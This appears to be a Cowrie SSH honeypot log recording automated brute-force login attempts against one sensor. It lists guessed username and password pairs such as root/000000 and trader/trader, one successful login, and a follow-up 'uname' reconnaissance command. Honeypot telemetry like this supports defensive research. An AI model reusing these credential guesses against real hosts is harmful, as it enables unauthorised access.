{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51688,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf2a97676406","protocol":"ssh","message":"New connection: 91.92.42.133:51688 (159.203.135.109:22) [session: cf2a97676406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:44.418514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:44.580485Z","src_ip":"91.92.42.133","session":"cf2a97676406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:44.583619Z","src_ip":"91.92.42.133","session":"cf2a97676406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:45.211743Z","src_ip":"91.92.40.171","session":"b8fabc9fce63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:45.619744Z","src_ip":"91.92.42.133","session":"cf2a97676406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57680,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae9deb34f714","protocol":"ssh","message":"New connection: 91.92.40.171:57680 (159.203.135.109:22) [session: ae9deb34f714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:45.637023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:45.840737Z","src_ip":"91.92.40.171","session":"ae9deb34f714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:45.844394Z","src_ip":"91.92.40.171","session":"ae9deb34f714","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:46.775850Z","src_ip":"91.92.40.171","session":"ae9deb34f714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:46.940410Z","src_ip":"91.92.42.133","session":"cf2a97676406","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:47.211196Z","src_ip":"91.92.40.171","session":"ae9deb34f714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:47.213730Z","src_ip":"91.92.40.171","session":"ae9deb34f714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:47.479807Z","src_ip":"91.92.40.171","session":"ae9deb34f714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:47.485675Z","src_ip":"91.92.40.171","session":"ae9deb34f714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57740,"dst_ip":"159.203.135.109","dst_port":22,"session":"39d34346f774","protocol":"ssh","message":"New connection: 91.92.40.171:57740 (159.203.135.109:22) [session: 39d34346f774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:51.466780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:51.659655Z","src_ip":"91.92.40.171","session":"39d34346f774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:51.662560Z","src_ip":"91.92.40.171","session":"39d34346f774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46238,"dst_ip":"159.203.135.109","dst_port":22,"session":"681b84b27926","protocol":"ssh","message":"New connection: 91.92.42.133:46238 (159.203.135.109:22) [session: 681b84b27926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:51.813933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:51.971328Z","src_ip":"91.92.42.133","session":"681b84b27926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:51.975392Z","src_ip":"91.92.42.133","session":"681b84b27926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:52.537570Z","src_ip":"91.92.40.171","session":"39d34346f774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":38140,"dst_ip":"159.203.135.109","dst_port":22,"session":"493e5cc2fbe6","protocol":"ssh","message":"New connection: 194.113.233.25:38140 (159.203.135.109:22) [session: 493e5cc2fbe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:53.090379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:53.094519Z","src_ip":"194.113.233.25","session":"493e5cc2fbe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:53.180531Z","src_ip":"194.113.233.25","session":"493e5cc2fbe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sergiu","message":"login attempt [root/sergiu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:53.440035Z","src_ip":"194.113.233.25","session":"493e5cc2fbe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:53.747637Z","src_ip":"91.92.40.171","session":"39d34346f774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:53.880942Z","src_ip":"91.92.42.133","session":"681b84b27926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:54.529058Z","src_ip":"194.113.233.25","session":"493e5cc2fbe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:55.045661Z","src_ip":"91.92.42.133","session":"681b84b27926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54152,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcfb34d7e6f6","protocol":"ssh","message":"New connection: 91.92.40.171:54152 (159.203.135.109:22) [session: fcfb34d7e6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:57.061879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:57.221400Z","src_ip":"91.92.40.171","session":"fcfb34d7e6f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:57.224550Z","src_ip":"91.92.40.171","session":"fcfb34d7e6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:58.150941Z","src_ip":"91.92.40.171","session":"fcfb34d7e6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:59.261550Z","src_ip":"91.92.40.171","session":"fcfb34d7e6f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58728,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1dbf46fd4e2","protocol":"ssh","message":"New connection: 91.92.42.133:58728 (159.203.135.109:22) [session: e1dbf46fd4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:00.019008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:00.073955Z","src_ip":"91.92.42.133","session":"e1dbf46fd4e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:00.144470Z","src_ip":"91.92.42.133","session":"e1dbf46fd4e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123456","message":"login attempt [ubuntu/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:00.635707Z","src_ip":"91.92.42.133","session":"e1dbf46fd4e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:01.794324Z","src_ip":"91.92.42.133","session":"e1dbf46fd4e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54174,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9210a816c91","protocol":"ssh","message":"New connection: 91.92.40.171:54174 (159.203.135.109:22) [session: e9210a816c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:04.663440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:04.721845Z","src_ip":"91.92.40.171","session":"e9210a816c91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:05.505262Z","src_ip":"91.92.40.171","session":"e9210a816c91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58510,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e5068396f06","protocol":"ssh","message":"New connection: 91.92.42.133:58510 (159.203.135.109:22) [session: 2e5068396f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:07.575273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:07.665175Z","src_ip":"91.92.42.133","session":"2e5068396f06","protocol":"ssh"}
